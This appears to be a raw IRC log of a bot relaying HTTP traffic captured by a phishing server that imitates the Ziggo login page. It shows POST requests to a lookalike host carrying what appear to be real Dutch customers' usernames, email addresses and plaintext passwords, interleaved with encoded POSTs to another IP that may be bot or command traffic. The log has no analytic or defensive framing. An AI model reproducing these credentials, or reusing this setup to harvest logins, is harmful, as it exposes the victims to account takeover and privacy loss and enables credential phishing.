  1124. [02:36] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4
  1125. [02:37] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1126. [02:37] <HTTP> Content-Length: 110
  1127. [02:37] <HTTP> Accept-Language: nl-nl
  1128. [02:37] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=pahdonkers&userId=pahdonkers&password=Joyce.11&button=
  1129. [02:37] <HTTP> Socket initiated: 93.41.104.77
  1130. [02:37] <HTTP> POST / HTTP/1.1
  1131. [02:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  1132. [02:37] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1133. [02:37] <HTTP> Host: 172.86.120.218
  1134. [02:37] <HTTP> Content-Length: 408
  1135. [02:37] <HTTP> Cache-Control: no-cache
  1136. [02:37] <HTTP> Bwq0xXEVBPzDJIz1lXKLEfr7erDmUUIuI3+6RAQp1dsFHUEsBZswphbggUiKaYciMbdX6ZshmI6WwLoLMSjvhXV6FgQDZfE4c6JLhedxAZDhKN0ZFUbkmPndVbMPbkbmrqomhmqrpRD2LBJ7UBUyEIr0ig6cvsIEL4S9hWj1O8tdmI4IKutVlA/zFwnk18RfKcy+aIGbrgvjILeM+d/Uu1/+rpRtRDGhXiNDTotuRZCHBBMmu5mwwidBqC7cIDAH+GFsCuBHFlQALjrLzl9ZE81CvYRFXDAZEwXYOsMyb29q44qkVsfNLsLgwVTFD1RHAt8wPUtxdnbI4nKih04J8RzbPpUwnslBnnm39UvT8tGsCVC2nTrgnxNY9y/qiggozVW1PRFKUanmuQH7IOw91w==
  1137. [02:38] <HTTP> Socket initiated: 143.179.127.159
  1138. [02:38] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1139. [02:38] <HTTP> Host: ziggo.nl.hacked.jp
  1140. [02:38] <HTTP> Connection: keep-alive
  1141. [02:38] <HTTP> Content-Length: 146
  1142. [02:38] <HTTP> Cache-Control: max-age=0
  1143. [02:38] <HTTP> Origin: http://219.93.200.189
  1144. [02:38] <HTTP> Upgrade-Insecure-Requests: 1
  1145. [02:38] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; GT-I9505 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  1146. [02:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  1147. [02:38] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1148. [02:38] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1149. [02:38] <HTTP> Accept-Encoding: gzip, deflate
  1150. [02:38] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1151. [02:38] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=richardgertenaar%40ziggo.nl&userId=richardgertenaar%40ziggo.nl&password=Sylvia1961&button=
  1152. [02:39] <HTTP> Socket initiated: 84.104.18.145
  1153. [02:39] <HTTP> Socket initiated: 84.104.18.145
  1154. [02:39] <HTTP> Socket initiated: 93.41.104.77
  1155. [02:39] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1156. [02:39] <HTTP> Host: ziggo.nl.hacked.jp
  1157. [02:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  1158. [02:39] <HTTP> Origin: http://219.93.200.189
  1159. [02:39] <HTTP> Accept-Encoding: gzip, deflate
  1160. [02:39] <HTTP> Connection: keep-alive
  1161. [02:39] <HTTP> Upgrade-Insecure-Requests: 1
  1162. [02:39] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1163. [02:39] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4
  1164. [02:39] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1165. [02:39] <HTTP> Content-Length: 110
  1166. [02:39] <HTTP> Accept-Language: nl-nl
  1167. [02:39] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=pahdonkers&userId=pahdonkers&password=Joyce.11&button=POST / HTTP/1.1
  1168. [02:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  1169. [02:39] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1170. [02:39] <HTTP> Host: 172.86.120.218
  1171. [02:39] <HTTP> Content-Length: 412
  1172. [02:39] <HTTP> Cache-Control: no-cache
  1173. [02:39] <HTTP> Bgq6yiIfULIC7UpDg3eObBFd13LnnRorvZhmqs8sOiCT8fYLltMlzLigtSTKSqumq8kLIsMeNR7O80/h5Ni59MiXQrLT8VLWKEw77jA1dPGM0MU1IF6spP/NFYyy1WwM0UM4+U1kh35WpUvQZGafeP0EVEdhNTnlwTcmldNylD39fam2RuBBieBPVfdwDatkAKeHwDmo43Lx9K6K6soJjlf376K5TGqhV1BSE0XUTS71P6l+4rQWBI6J4rxAOpzJuyYoIGNayjJOLtpucRk4gmwX3vi9KBslzDU3lnVTlpYLd2XVWIjxgVUHiMkV5XyKmKgo8QgzAzym+APsBsEzldM/a0HIup0X7zXAS7/yc2rdQ1mby/H5qwQPV2Uq0QLgmTo9H2u80sfXqR
  1174. [02:39] <HTTP> zOGAb7UDbSX+o=
  1175. [02:41] <HTTP> Socket initiated: 94.210.33.43
  1176. [02:41] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1177. [02:41] <HTTP> Host: ziggo.nl.hacked.jp
  1178. [02:41] <HTTP> Connection: keep-alive
  1179. [02:41] <HTTP> Content-Length: 114
  1180. [02:41] <HTTP> Cache-Control: max-age=0
  1181. [02:41] <HTTP> Origin: http://219.93.200.189
  1182. [02:41] <HTTP> Upgrade-Insecure-Requests: 1
  1183. [02:41] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G930F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  1184. [02:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  1185. [02:41] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1186. [02:41] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1187. [02:41] <HTTP> Accept-Encoding: gzip, deflate
  1188. [02:41] <HTTP> Accept-Language: nl-NL,en-GB;q=0.8,nl;q=0.6,en-US;q=0.4,en;q=0.2
  1189. [02:41] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=FONSPASTEUR&userId=FONSPASTEUR&password=skatje1958&button=
  1190. [02:41] <HTTP> Socket initiated: 93.41.104.77
  1191. [02:41] <HTTP> POST / HTTP/1.1
  1192. [02:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  1193. [02:41] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1194. [02:41] <HTTP> Host: 172.86.120.218
  1195. [02:41] <HTTP> Content-Length: 384
  1196. [02:41] <HTTP> Cache-Control: no-cache
  1197. [02:41] <HTTP> VV6xyCUeVAg19EHxDXoCDM9OFElVHf7CDBcao1Q9fwumCZnhxSjXUtNjaPIdflIF3Es4+QqeVK/FsKKBk5FF+CnzPk67ipSVgZ5HUxt6GHg4EwwzFiTG/LVrtd45OEWp2hXuwEqjImfShlCOLhXwYb0iMCrzDUEf6+Sp4Zp7ptJ0HNHJgZoG7vLinmrOBvrUhd67p4roxPRV92xXRRWk0Hdb6kWeYBp5XYAMfe2/5jM5g9VNjhUFpEjMeCBPUSZBEbvVDJGVkdA2FpiS9Q9XxU+d5ePoBpEvL9i4r8BBz3PlzNSFeAzDjZXnwNSJHu+QzxE53cdDYqbNWj3Fz1oUNiYfQmbnj0JFAQqn6VMchFiNrQOI61rWfAh54ksE51+w
  1198. [02:43] <HTTP> Socket initiated: 93.41.104.77
  1199. [02:43] <HTTP> POST / HTTP/1.1
  1200. [02:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  1201. [02:43] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1202. [02:43] <HTTP> Host: 172.86.120.218
  1203. [02:43] <HTTP> Content-Length: 376
  1204. [02:43] <HTTP> Cache-Control: no-cache
  1205. [02:43] <HTTP> BF/my30WB4vpQsiHWg/wz89EnL2cXJa/SAR+Hvz080X82kuDfKMEQyPykjjLC5ejBedPtH21mEaOkxYGlIsHKWp4Y5aQkkP3GpohxmurAubtrnyStM6SpMVGqkmyxbIKCaBXNL5c/ENSHs0quuru1EKUOihk1Ulz7S+4bfOIVqZxkReDckzV/Ru8eOjVnUrYshOXVzW2SGLhrIlSmF2pAweGsPiDrxGw/AaknHRGO94i/9Lg3Ibsx4L2M4S1lNewdWjWpCriFkh3elni2HVHfH9kB88BhgRXbCAvLHHDGG8Km6ktVGU3dwtdQo8hLWir03k6rdmTT0zz/+DcmAViZKIMkd0TT/HSTZVQ/bkcYEAI3NZHzF9lcA==
  1206. [02:44] <HTTP> Socket initiated: 83.84.157.32
  1207. [02:44] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1208. [02:44] <HTTP> Host: ziggo.nl.hacked.jp
  1209. [02:44] <HTTP> Connection: keep-alive
  1210. [02:44] <HTTP> Content-Length: 108
  1211. [02:44] <HTTP> Cache-Control: max-age=0
  1212. [02:44] <HTTP> Origin: http://219.93.200.189
  1213. [02:44] <HTTP> Upgrade-Insecure-Requests: 1
  1214. [02:44] <HTTP> Save-Data: on
  1215. [02:44] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-G900F Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  1216. [02:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  1217. [02:44] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1218. [02:44] <HTTP> DNT: 1
  1219. [02:44] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1220. [02:44] <HTTP> Accept-Encoding: gzip, deflate
  1221. [02:44] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1222. [02:44] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Hordijk&userId=Hordijk&password=a.M.o.r.c.48&button=
  1223. [02:45] <HTTP> Socket initiated: 52.77.255.151
  1224. [02:45] <HTTP> Socket initiated: 93.41.104.77
  1225. [02:45] <HTTP> GET / HTTP/1.1
  1226. [02:45] <HTTP> Host: 172.86.120.218
  1227. [02:45] <HTTP> User-Agent: Mozilla/5.0 zgrab/0.x
  1228. [02:45] <HTTP> Accept-Encoding: gzip
  1229. [02:46] <HTTP> Socket initiated: 94.211.109.38
  1230. [02:46] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1231. [02:46] <HTTP> Accept: text/html, application/xhtml+xml, */*
  1232. [02:46] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1233. [02:46] <HTTP> Accept-Language: nl-NL
  1234. [02:46] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
  1235. [02:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  1236. [02:46] <HTTP> Accept-Encoding: gzip, deflate
  1237. [02:46] <HTTP> Host: ziggo.nl.hacked.jp
  1238. [02:46] <HTTP> Content-Length: 123
  1239. [02:46] <HTTP> DNT: 1
  1240. [02:46] <HTTP> Connection: Keep-Alive
  1241. [02:46] <HTTP> Cache-Control: no-cache
  1242. [02:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=emaris@ziggo.nl&userId=emaris@ziggo.nl&password=420911095ke&button=
  1243. [02:47] <HTTP> Socket initiated: 83.39.49.210
  1244. [02:47] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1245. [02:47] <HTTP> Host: ziggo.nl.hacked.jp
  1246. [02:47] <HTTP> User-Agent: Mozilla/5.0 (Android 4.2.2; Tablet; rv:53.0) Gecko/53.0 Firefox/53.0
  1247. [02:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1248. [02:47] <HTTP> Accept-Language: nl,nl-NL;q=0.8,en-US;q=0.5,en;q=0.3
  1249. [02:47] <HTTP> Accept-Encoding: gzip, deflate
  1250. [02:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  1251. [02:47] <HTTP> Content-Length: 107
  1252. [02:47] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1253. [02:47] <HTTP> Connection: keep-alive
  1254. [02:47] <HTTP> Upgrade-Insecure-Requests: 1
  1255. [02:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=theo2639&userId=theo2639&password=ampanet11&button=
  1256. [02:47] <HTTP> Socket initiated: 93.41.104.77
  1257. [02:47] <HTTP> POST / HTTP/1.1
  1258. [02:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  1259. [02:47] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1260. [02:47] <HTTP> Host: 172.86.120.218
  1261. [02:47] <HTTP> Content-Length: 440
  1262. [02:47] <HTTP> Cache-Control: no-cache
  1263. [02:47] <HTTP> AF+0xHZCWJF16TIwxYlxIoyrqN+M8an94YaQRO3x2sX/mkNrO4hIUPkA5kcigMbQW5iSqmBBDVYqQmFFW0lVyPi9luuDFMBEeaZU/YyZ9BMIERQ+ImUmYtsf0QmnFsG8PPjXPH3KxqfNLjK64SlgCHRmLWdWs9N5TLrUzhSD+walQUCPSU2RhUj5S65b/XLv0DDcbxIEowEwvW6UOgty4Z8fE7CVQLDumD/thto9HEbGAhmO9wjLzOjpYYko6g1aEKhsN3bbkRnOtFHzA3aBCl10q9eUQVQOEYQPa/xFQUtejotN9g5Dgq82wvlWv3ktTDCGT71bKv3RiKqqPPx8aUozPNMxReFA4c/Vlhgn3zKRfU88ELQpJxaSl2BswCFz4zNUdzdNBsYVEu
  1264. [02:47] <HTTP> dPZiSW8VR2OtMswqk8U5+Q+rJ+aAu3b7cwYSHySg==
  1265. [02:49] <HTTP> Socket initiated: 93.41.104.77
  1266. [02:49] <HTTP> POST / HTTP/1.1
  1267. [02:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  1268. [02:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1269. [02:49] <HTTP> Host: 172.86.120.218
  1270. [02:49] <HTTP> Content-Length: 440
  1271. [02:49] <HTTP> Socket initiated: 83.81.129.2
  1272. [02:49] <HTTP> Cache-Control: no-cache
  1273. [02:49] <HTTP> BQngyX0XAr1Ib5S3WTZtKdJoLs0jOvL3ibUl0CVrlV+IpAI09vRBXyBg4Y8fgj3FDhzm+3iC5zH0z7a8zYGdAb4baYMwhnC8qSCXpSxvyGJR45ErFbQzPHNs1bTiE99ka3rohC9QkhgZjA1nPj4N5KITr7q2MRXE7yCimzrBzBOjE07ouNcGhe3EbDsrNVm+yg1RMEBmtALRd2jpUWszJNxdXvP78HUOItGNcrFdYr6OVLe2Lz4U6Nia+IGHQGwWqM7MA1OiNONNB4SaNApI0KP1YmgFVnErlYZvpfX+uHKSYEBfTyl2UdiO8r7oOSjlBcgNyDpSWAzcula30hEFLjjSmeRRWLg5QQKGX9GOKkaHESF5B4MYUjlgPmGH2Z2WgTBgv0wN7shb0M
  1274. [02:49] <HTTP> ee6pewjTlN4/T946rucbtvESdHhlUFsdE2B1I9/w==
  1275. [02:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1276. [02:49] <HTTP> Host: ziggo.nl.hacked.jp
  1277. [02:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  1278. [02:49] <HTTP> Origin: http://219.93.200.189
  1279. [02:49] <HTTP> Accept-Encoding: gzip, deflate
  1280. [02:49] <HTTP> Connection: keep-alive
  1281. [02:50] <HTTP> Upgrade-Insecure-Requests: 1
  1282. [02:50] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1283. [02:50] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  1284. [02:50] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1285. [02:50] <HTTP> Content-Length: 140
  1286. [02:50] <HTTP> Accept-Language: nl-nl
  1287. [02:50] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=t.ramakers%40ziggo.nl&userId=t.ramakers%40ziggo.nl&password=Ramakers19061940&button=
  1288. [02:51] <HTTP> Socket initiated: 94.209.40.161
  1289. [02:51] <HTTP> Socket initiated: 94.209.40.161
  1290. [02:51] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1291. [02:51] <HTTP> Host: ziggo.nl.hacked.jp
  1292. [02:51] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  1293. [02:51] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1294. [02:51] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  1295. [02:51] <HTTP> Accept-Encoding: gzip, deflate
  1296. [02:51] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1297. [02:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  1298. [02:51] <HTTP> Content-Length: 113
  1299. [02:51] <HTTP> Connection: keep-alive
  1300. [02:51] <HTTP> Upgrade-Insecure-Requests: 1
  1301. [02:51] <HTTP> Socket initiated: 93.41.104.77
  1302. [02:51] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=denhaag30&userId=denhaag30&password=leukejongen34&button=
  1303. [02:51] <HTTP> POST / HTTP/1.1
  1304. [02:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  1305. [02:51] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1306. [02:51] <HTTP> Host: 172.86.120.218
  1307. [02:51] <HTTP> Content-Length: 428
  1308. [02:51] <HTTP> Cache-Control: no-cache
  1309. [02:51] <HTTP> UVjmyn0WVkXfBUBkvOfPKbCc4cvU9d9vp4FYJjjacMYtfXhu+H/ZRwnIHK70fz/v/4N5w8sbLK9V8O+mKoi0XUOtrTIx+2kvX3zIkSAaBBfbQdBG2NSnQVQpBtivA/k0akZxnJEIO2jU7C+UHv/uDj6H6FfRrxZJSKg+WI/BH6Q/Ykr7iwJQAhADxJvWicqQBrB1MJjLj4jeWXjaeTuoY9tsczIgXNZZ5VwSu4JFCuh1vCFzJojmR+oINQezhtLePeuTx6Pgjc7wK5x52GJ3IqYxzA/lUR23dEwyV7Hi73Pa6x3S8xSkcISzZMcT8/UdnHEzCoRdByparSLKG3w91fp/hC6nQlz0hWEDuzjnELklgmp9c8qX2rPIF53u9MHo3P2aWWFowrZ31q
  1310. [02:51] <HTTP> t1ruh9kZ+ZThSJZs9PfK+90HFmqg==
  1311. [02:53] <HTTP> Socket initiated: 93.41.104.77
  1312. [02:53] <HTTP> POST / HTTP/1.1
  1313. [02:53] <HTTP> Content-Type: application/x-www-form-urlencoded
  1314. [02:53] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1315. [02:53] <HTTP> Host: 172.86.120.218
  1316. [02:53] <HTTP> Content-Length: 408
  1317. [02:53] <HTTP> Cache-Control: no-cache
  1318. [02:53] <HTTP> Bw+6mSEQWJUz7bajLgFLH07GtKLfuVlcg/cmq8q5cUmNWRnlUT23w3MyLiAMFNFFwXNFJu0S07s1tQcZnkwNgGEFBjjy30ylqlZKTfqwfeG2MN3ZQNJh1/lQHZEGba44s5a1oSk+dzCRAzBDvt6y7WLbXLCJoDd7rQZCRSdf6/eEFxn9xWwdZQwzAlx/XZjcRtSpbjLe4fCtv7ixct/c7pX69c6LyznWpYZUJYNfhvjrrWmiHx/mYdLcP3WJZm2FjJNbqjhMqsE0qhA+2x1R6h7IJwJOvQmGbZPfO6z/NJImSJr5A20d9bmTwxhCvNEOH0hN+udOqwAaD6GM4+Yb2FQ2FUGCv4z3hr9UfsLzi3mPI+8mA+bp3XrlBKyjWulv3AnKL6N/2Gd4EDhS4u0Wbw==
  1319. [02:55] <HTTP> Socket initiated: 93.41.104.77
  1320. [02:55] <HTTP> POST / HTTP/1.1
  1321. [02:55] <HTTP> Content-Type: application/x-www-form-urlencoded
  1322. [02:55] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1323. [02:55] <HTTP> Host: 172.86.120.218
  1324. [02:55] <HTTP> Content-Length: 384
  1325. [02:55] <HTTP> Cache-Control: no-cache
  1326. [02:55] <HTTP> AA3mynIUB67Bk61/5vwDMa1Bp3BGXrSajKjn3h9Q81vzpeMhC+Pqp6R7ylxnjhBRwFoaJUc+1t6jSj6fDCc48hdcfoRat4/oOYFMyAOSmDWFuMTX6nnOjXxwmTS5Arz2qrhixuAGM2m1UWVEgOcic1joFlZJJF+5MFxRW05zlDYaU09N3AMFKnCCSvFeyKHMfIzDH37NWHZUnzSijBVAFIPQZ3FrBwfR6vQpzDgeV7G5bTr3cMBF8hdbHcWInJjBpsy8W1nFtNiWlggynzu0jyMamaxQHHXNTZkBnvVzfub1WD0i/fAbyVRpwmGpeq87kzW6/1xPVIxAh1Q03aXbmBIoRRoOnuHNfAzvsFDna1wQwCn7Fm63Iofy5V5ivA==
  1327. [02:57] <HTTP> Socket initiated: 93.41.104.77
  1328. [02:57] <HTTP> POST / HTTP/1.1
  1329. [02:57] <HTTP> Content-Type: application/x-www-form-urlencoded
  1330. [02:57] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1331. [02:57] <HTTP> Host: 172.86.120.218
  1332. [02:57] <HTTP> Content-Length: 404
  1333. [02:57] <HTTP> Cache-Control: no-cache
  1334. [02:57] <HTTP> UwrgzyVAUNkDXU5A0NLQ+N1LhUuTaC6Au/DVreknmDI/JvFL4pnBTwKIDXfyqsb4poWamgUhJsxY8NK7zsr2mND2zA8FBQjMw7yeHgrwcjXMB4Pm2rFQSWR+tRQGCve1vndMjFNHY3Cb2g1BVFmgr4ysj961O4EIz+WNj08DcQnl+/ZfhjAUtZGwQ/fMz/d7afb7PrbvKndcMCAcJRONJZkJcXDs2yg7+aEvp2JFcayPX78eHExuk8/ryS7wwj9LITlni6GmxXLXxXIHommVnMaX3NUOI2et/IhYxRYdJL+7Xe7AHzBK3yi6I7fSpzeMcwADZ9WiuIZfNh0qPPk/ilO7EHAJ4T90vFcWQCwpAUFs7EEOfZxXlFhSg+dOczPTU7ciwMSW9n2elSrItyc=
  1335. [02:59] <HTTP> Socket initiated: 93.41.104.77
  1336. [02:59] <HTTP> POST / HTTP/1.1
  1337. [02:59] <HTTP> Content-Type: application/x-www-form-urlencoded
  1338. [02:59] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1339. [02:59] <HTTP> Host: 172.86.120.218
  1340. [02:59] <HTTP> Content-Length: 412
  1341. [02:59] <HTTP> Cache-Control: no-cache
  1342. [02:59] <HTTP> UQq1y3RHBGzYr/W+hObTxID27byH/mUAtJhgbQLi36FwDZewI9OB7rBpQRDGzB/oKArabkyXavaYXziaMNMviHOiIQ4O4r+dFh9BuuwHGXGLgOfSIwpF1el8fcuVFmCGut2zfI9Ym5dWlvHMqzBTANqdbx9/psY7SbTXTsNF9GRkyi21SARJQAaTP5HvbIIv5MgC2lmfpp6iFtMcODYu2C1961Gxrv9rVib07k9ZRDWT5hu4Z2I0x75PrQ6JR+RCU+WGTM1362VABZI9WuxTfB0pyHk1Mze7yOYmYucQK4plZtXhwnr8fk5LM3mcOLvGqgG2azBvuZjan4AGi0qYWXtAcCbk9RiN5VzmC7AENEiK/CaJwF11E+z7Pca8gfQGHdw/+cZSm3pOGz
  1343. [02:59] <HTTP> cW0eQ0hU6eM9hC
  1344. [03:01] <HTTP> Socket initiated: 93.41.104.77
  1345. [03:01] <HTTP> POST / HTTP/1.1
  1346. [03:01] <HTTP> Content-Type: application/x-www-form-urlencoded
  1347. [03:01] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1348. [03:01] <HTTP> Host: 172.86.120.218
  1349. [03:01] <HTTP> Content-Length: 432
  1350. [03:01] <HTTP> Cache-Control: no-cache
  1351. [03:01] <HTTP> AgngmXMWUzMfWx6BHTDLFqgJhZmVdFxhN78oPD8DiZC5ULH4W10OQOVt00kmYDWSb1fTvMs8jOo0FZENB8DiJzxSupq65BnmkZA/JfS0PobNFe8CKfku3l/nfmSip6VA3Ebpyrl4M6lRulHevm8UHt3bRmVhhzBWOp04xrsK9aRzmnTfryi89Tlzpl5n1mWXZohrf6kojIRaCkUpTK8kLiYm4nzPLJ5D1q9YBPhiS520OanwpVskdbHDKbJUlOLbxptTLipSVbc+5OrtDqboo7h5/G8/iXW768ljVGb/UWwCS5NmSf775AW51C7t2ZKTjQYU5PsPW0oAILhLo6gj2yTc5/arnshTbFPXEG36PJu0AhtAvebzPtFy9ZFPjbPInNIsjke8Z7K2Co
  1352. [03:01] <HTTP> op/gA81/g7a01iA1i3VSOmBbPJ316rMg==
  1353. [03:03] <HTTP> Socket initiated: 93.41.104.77
  1354. [03:03] <HTTP> Socket initiated: 138.204.184.10
  1355. [03:03] <HTTP> POST / HTTP/1.1
  1356. [03:03] <HTTP> Content-Type: application/x-www-form-urlencoded
  1357. [03:03] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1358. [03:03] <HTTP> Host: 172.86.120.218
  1359. [03:03] <HTTP> Content-Length: 416
  1360. [03:03] <HTTP> Cache-Control: no-cache
  1361. [03:03] <HTTP> Bl6znXIfBVSQN6Kvojw8ixbyomN7JMdSGlzuD1SQ1LCEURZSl6XzS0aacMf55fpOVjlJwwtX2xmaCsgLt2lVCKbwL4kzhn6YikHxAWlFzjLl0mA0azPxkkZuzpFQJ8evgsKIrBx0By0H6QII39YrQzbqY0dVALfnSj5G5ItFYwow/x97/l+vMnStAXlbULqHfdwlE4tQ4GaZVZxnZeF9AX6wuAZiOMxmtvNKiGtpofR933loFw0Q6TB+uwk3Aas+bkR4AYA/ZVZ0qh34gfuYdQdpjxoCpwHVv3TNov3Wm3LtTUlzVxEPnl5lQPzYjvuVg4wVWMk3L3TkFK+Z2lzoWlHt53XJdkSoydViiH9kuryPjKO286R1Ub7kVG3qDJJCL8IqhO1PdkBoHP
  1362. [03:03] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  1363. [03:03] <HTTP> +5E08d8wsOWJkX14jSGET / HTTP/1.1
  1364. [03:04] <HTTP> Host: 172.86.120.218
  1365. [03:04] <HTTP> Accept: */*
  1366. [03:05] <HTTP> Socket initiated: 93.41.104.77
  1367. [03:05] <HTTP> POST / HTTP/1.1
  1368. [03:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  1369. [03:05] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1370. [03:05] <HTTP> Host: 172.86.120.218
  1371. [03:05] <HTTP> Content-Length: 388
  1372. [03:05] <HTTP> Cache-Control: no-cache
  1373. [03:05] <HTTP> Aw+yz3ERUHWyX7BWJJ/S89ebbc6D0Y+TkTNuC2nu0EASAAOoujzTQAQRv1BcS+MOrVLPNwRhc/b2nRaVaxximuL7xFIhsFyggE1Cbcg2MA0wZTbSPNSHSJxL4OJiXB0pJi9SalfHtZhXt7K4b/ZJdNrA8ed8nb7jmAI3lfzt/LF2I8zIQYwOfQTSE4NXrJ0jhiyct9KSAkVkF1P1mXRuIF4LtvKE8RX9q3g4+/q7zqX8dTe9ANnPmG9NYqmFgoRMzMGS1ccWwTOBzHjLbcnz+I9z221EHVZtMg6kYLu0btCFQt1kBJCpKAsc5eDeSH8hD6vo2vsuqBlbRzZ9XDKP+oThOWee2fSxILmJF1dSf3OqWCiWSeHdIljr+NvoJITYEweV
  1374. 02[03:07] * independent (independen@Owner.home-unix.com) Quit (irc-2.home-unix.com irc-3.home-unix.com)
  1375. [03:07] <HTTP> Socket initiated: 93.41.104.77
  1376. [03:07] <HTTP> POST / HTTP/1.1
  1377. [03:07] <HTTP> Content-Type: application/x-www-form-urlencoded
  1378. [03:07] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1379. [03:07] <HTTP> Host: 172.86.120.218
  1380. [03:07] <HTTP> Content-Length: 428
  1381. [03:07] <HTTP> Cache-Control: no-cache
